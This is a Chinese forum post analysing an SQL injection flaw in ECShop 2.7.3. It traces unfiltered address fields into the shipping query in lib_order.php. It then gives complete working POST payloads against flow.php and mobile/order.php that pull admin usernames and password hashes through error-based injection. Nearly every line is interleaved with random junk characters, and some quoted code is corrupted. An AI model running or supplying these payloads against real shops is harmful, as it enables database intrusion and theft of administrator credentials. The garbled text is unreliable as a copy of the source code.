前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
1 ]+ ~5 E( _2 s
8 m7 }0 K) O, w2 s. M a/ ]0 @7 f 漏洞关键文件:
2 |: |7 K. M$ L! Y6 V$ i6 A& l! c1 h/ H5 ]* }4 i! P
/includes/lib_order.php( ]4 l8 q B; D/ g7 r
- b$ }( `5 d0 t7 H) d; c 关键函数:
) J5 L. u/ U$ w8 R+ E& F% h5 P
) a$ l x) v) d: A& l- c' k ; F$ q7 m% R$ h2 j- q& f" M
0 n5 X# A/ V- O0 i# t# d2 x
01 function available_shipping_list($region_id_list)
. s2 @4 K. h% D) Q! S; Z4 C8 M0 c4 ?
. S" f" i' W( ~' v6 z02 { 0 I" p, ^1 n& d9 X
, G9 I F' A1 g4 E& \; p# q
03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . / C; ~# v9 b% w0 w9 E) k; b
+ i6 z/ N! j3 u8 f! F+ w" M04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
1 G) P5 U% e- o+ Q8 U* }" l' G& w& |# y3 [" m
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
6 {6 ^- e p$ U2 S. b2 H9 `, S+ @, r7 [6 b2 ~. d& n, X
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . 7 r* }& f4 S) o& y; ]% {
. O7 e$ O- s3 w; T" [' ~
07 $GLOBALS['ecs']->table('area_region') . ' AS r '. & V& h* q4 V( F' I* s7 H
! v7 E- Z5 P' [08 'WHERE r.region_id ' . db_create_in($region_id_list) . + |! v# V {+ i1 c3 w$ {( d
6 J g& ?9 g% |& ~1 ~* k& L- P
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; " w! g7 k7 w- \7 U; E: ]
3 Y: q% b) Z8 B9 f/ r10
& y7 Q+ i0 k2 m& j
2 ^/ l" l9 d+ X/ z; g11 return $GLOBALS['db']->getAll($sql);
9 b: [8 p$ f c* Z" x1 k7 e( x h1 s1 S; n' S
12 } # X2 w+ c) E, _0 C3 b2 u
; b, b/ O, e. p+ \+ w* G: j# |+ A; k* {
显然对传入的参数没有任何过滤就带入了查询语句。
& k, t/ I. w) A- S6 p ' g% P6 E0 Z% H% q- |
下面我们追踪这个函数在flow.php中:: p$ ]" p1 r4 c* C! V @
第531行:
5 s1 s" e5 F5 `- y+ e; w: J# ]6 x' U2 ]
1 $shipping_list = available_shipping_list($region);
5 T7 A% A: w' d( f; n
' h/ W7 s& r# _4 Y: _( n& c 5 G _/ a2 m3 [# E' |2 k: }
# m" K/ n* _7 K, r7 ^ $ O0 j4 J$ M* y( W
9 j$ p" q( O. e7 [: k1 z
再对传入变量进行追踪:
+ X* N; p( W' w! {
7 v3 r* H& E: f" Y) f+ S0 s7 b第530行:
4 K# M" @0 ~6 H( r& x& B' r0 K6 }' o5 H7 O; C6 r% Q% u
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); " k7 Z, f7 T# ] L
6 |* x/ m% l ^# V: p' n9 c; X
" O7 d( {# S( _! ~+ @9 Z
4 r9 R2 ~9 W4 ~) B6 m/ X; D% l
5 Y( D* H9 b L$ Y$ i% _
: ?0 U+ h. r# U1 e: d3 k第473行:
. Z: j( \% H$ L9 E1 l# W; R8 }/ m) l0 V
1 $consignee = get_consignee($_SESSION['user_id']); ! s" b1 r) S+ T1 u" R! `
5 v% B9 |& d# P* B5 |到了一个关键函数: k+ i2 q4 {9 P4 L# Y( ?
, S6 i' ]7 X8 y, L# ^# a) u7 T
/includes/lib_order.php
. b5 A; s3 T( w) o: n3 O3 O3 x. v* n* I# @1 i( @4 w" A& G! \
6 I: F% d; R3 z+ @1 I0 c7 L* L) v/ \4 m5 O; Q: t$ T* _
7 o0 q& u3 o# @4 \- G! a* D- j8 m+ g- z' S. f+ \! x8 Q+ G
01 function get_consignee($user_id) {4 S6 ^$ x: c; C# {6 Y
' u6 x6 ?; u5 M$ t* S; s& m
02 { & d3 w( y- y2 h; E, u
6 a% S v/ g" e6 h: B2 Q03 if (isset($_SESSION['flow_consignee']))
& c% O3 q6 b# S3 l
. h, q" ^1 T% H' N4 P04 { 9 S0 `$ |& r) @1 }# m
; u/ O4 a ]. N1 B: }05 /* 如果存在session,则直接返回session中的收货人信息 */ " n" x6 q$ d% I0 F% I& a
! X# g$ ^5 L, a" m
06
! a& G* R+ g6 b+ q: m) o+ Q% D0 y p5 S$ z# q
07 return $_SESSION['flow_consignee'];
: h% X. r, w; F3 G* L
. v& I6 F8 l, ]" K0 n- e* g08 } * G) F' M) E: M7 Q/ A, v
* z" [' o% A! Z% a0 z+ `- M
09 else
5 g( E8 |7 r5 R- S6 V% r# ^/ B- v: s5 s- O- `5 q
10 { " Z+ x6 w, l' ^3 |
( p5 d* T- p6 d7 N9 Q2 V1 Q; O
11 /* 如果不存在,则取得用户的默认收货人信息 */ . s- q4 Y$ H- ^/ a9 X8 U
/ F1 i3 ]3 [5 {1 O) m12 $arr = array();
- h7 }9 o: D- \# Z( l& h
- v3 h$ s3 I8 w+ M& N$ k13
) u f4 G8 }3 _! c! x5 l+ {: M; T, `1 b. o. t( c: p( {
14 if ($user_id > 0) " i0 E; d: o" g4 s$ ]3 i+ _& l7 M' B
4 e7 D0 P. d: u; j0 |1 Z8 z7 e
15 {
7 o0 v! }: b0 n/ ]. z1 O- f! X) t
16 /* 取默认地址 */ 2 f& s& I$ d" `( E6 N: H( d8 x
b; h: {5 ^8 j7 r: g
17 $sql = "SELECT ua.*". 8 F2 N$ M8 I8 |3 M; I
0 G% ~+ F. l7 n: m18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
2 `: h) r4 f" \! K/ ?- W' k- p" Z( Z- U! Q! Q0 Q$ a
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
8 `. r8 I4 s! C. l9 q
+ Z% P- O% o: q$ \ g& k20 ]+ y. I) m& b
. A/ C* G" ~' X/ B' G {" M- v, D21 $arr = $GLOBALS['db']->getRow($sql); % \3 @& \% Z1 o1 O% `9 i: u: |
0 V0 @& I5 l$ R# {8 m6 h22 } / X2 t: w& Q" r# v; L
" S2 [" h0 ]. H' W# _
23
, y7 U& A, C! X; H
! W7 S$ c3 z4 L; ~$ O. R24 return $arr; 3 g8 \0 p# {- M7 `/ Q
# R% K3 M8 c2 O# r& g k25 }
( S9 U& E9 A# m5 L9 }( g
. z9 C* ] H- \26 } : |$ q- K$ E. a# F+ B" {
: A# C- |6 b2 J- V2 f! E显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
& f B( C3 V" a. n+ K) o1 J: Z. R( T
$ J9 i( l: ~8 N" \0 s3 o+ d
: d7 F& H# v; |' c2 g. A5 i7 v$ ]1 ^关键点:
6 k5 b; ~6 }8 J/ |# {/ j7 _) R7 C' L
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
. q( Z1 C j) A# @8 _7 [6 |8 M! B/ Y! _% a6 g
这里对传入参数反转义存入$_SESSION中。8 v1 l$ ~0 i: Q
* A6 o; k6 t) D+ L$ U / c' q% c1 s0 ]
. N$ {! }( @4 X% z, G! v+ C& E
然后看下:
9 N! J) g8 ]8 C
; `: G6 I2 t7 @8 q6 H6 k/ g 5 \) j% ] W$ B( L, K
+ X0 q& `- A7 h: ^1 s
0 o! d/ m8 T3 O
H* n; c4 m" b( I01 $consignee = array( ; ~2 ^ b" D0 U1 L/ Q, `
! }7 V! r8 J$ A& H
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
$ ^4 _5 N, s; K o- Q* X; \! D3 i$ E& x$ C
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), / n' K L7 l5 n9 r
B) [; N% e. h0 f04 'country' => empty($_POST['country']) ? '' _POST['country'],
% K: `, X& n- h0 S: R a& l) |* y; B6 V( ?0 f
05 'province' => empty($_POST['province']) ? '' _POST['province'], 6 o4 ^6 |- ~* V; [: E! L" \) A
# i/ h; X s: r8 S2 ^. U9 {1 j
06 'city' => empty($_POST['city']) ? '' _POST['city'], 7 h, W" Y9 } }
! `( i! V, [, C' _+ ]! y/ ^07 'district' => empty($_POST['district']) ? '' _POST['district'],
! d3 ~5 {* U, I9 ?4 L! m1 h/ ]9 L, p# ~" y$ y3 c8 \/ e* h6 Z
08 'email' => empty($_POST['email']) ? '' _POST['email'], ' e* f! y( {$ N- m
5 L- H9 y5 ?0 \8 v( P
09 'address' => empty($_POST['address']) ? '' _POST['address'],
9 {% G+ Q6 P) i) i7 f ~7 F" _! C6 |+ J/ J- t! L) C+ x& ?: J' m6 y& i
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), ; s; V5 F; f# a+ |, H
5 A$ v4 X, w E& I
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
' X' e: [9 [' ]5 _1 Y4 ]5 d3 C- T- M1 ^. w
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
! W% u/ X* ], |7 d
" c( h M- d/ @; @/ q$ {5 Y13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], : t% J, U" Q5 S: M' A6 _
% R0 i+ U: F( }
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], + S s. E- B# N, f
+ q7 l0 N9 r0 s; }5 q
15 ); 4 K4 L7 k" f) b: j) E2 T
2 I3 @3 |# B$ K7 k5 q
好了注入就这样出现了。
: V: B9 @$ U& I
( a% {; Y' a. d- u) i==================2 W/ h) _7 z; {( A6 I: w. Y$ H
; I2 ?8 h3 j7 | N4 C6 Q( X d9 y
注入测试:
7 B+ s; W# b/ |0 F8 z+ `* s' i3 E6 P/ x" N; L7 W5 p
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)/ _) w0 s6 B$ o- |: I$ {; M
( T; m5 I* x n; o' U4 X测试程序:ECShop_V2.7.3_UTF8_release11068 x E+ g5 z$ U( S% Q4 Z
2 Y4 R/ b6 l8 N f6 u
7 k- V: I4 K/ _1 h$ ~2 @5 }4 Y7 o; T
1.首先需要点击一个商品加入购物车
8 T1 |7 M9 j3 D, L, s8 i( v0 x& S7 d( u3 s' w& M: w6 u! k
2.注册一个会员帐号
4 `, W5 w3 ~) l/ {8 p, t# M) P' M' Z7 w) G: c# A G# k
3.post提交数据8 O: u4 s6 f& ?* {* s8 z
6 e$ h* G3 ~! H, L8 b1 z/ f $ N- e" h4 t7 |& z) e/ q0 T8 ^) @0 y
: l' j: } Z3 {6 f) X' a& Y* \( ]
1 http://127.0.0.1/ecshop/flow.php
3 B3 a& D, J! [: W/ Y) S" Y( f3 N4 l" @4 }: n, V+ k7 F0 B
2 2 T% _& O) ~! Z8 y4 |9 V: Z' ^
4 f: t0 `$ c: l. D' h3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= * t7 {6 ^( H; d/ J( ]
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
! q1 m3 B' Q7 g2 H4 ]" j) r
! b9 ]: l& m% e, L我们搜寻关键函数function available_shipping_list()
2 C: A V/ X8 t. q: L6 o
7 C9 q7 n2 P2 f1 Q+ V9 s在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同/ ~* R9 y& b" o! D
* E: z5 K* a$ k3 h' _& O利用exp:
( e. |2 r7 \2 _0 J, E/ c0 y( k2 s
- w( K9 Q* X& F# v6 C1.点击一个商品,点击购买商标
) K. K- c8 s( |, Z, Z- ^( j% @/ ]) y7 m- |' T" c5 T! F4 }; A
2.登录会员帐号
! p2 D: K% T( ?, h8 D! L. L* Z* D
: {. s+ s5 R. ^) L6 C3.post提交:
! v; i/ h5 j, v+ D8 F9 L3 L6 o; I5 k' l K
http://127.0.0.1/ecshop/mobile/order.php& h0 @7 Q9 T* F
, U4 ] |5 ~) y" G) w$ u
& S/ C: H k' Q4 N: L+ k
1 ?$ t3 c, K6 ?1 U0 _+ Bcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=' g4 _* M: y, g- k
5 q7 m' X5 N2 v" B" V6 g
|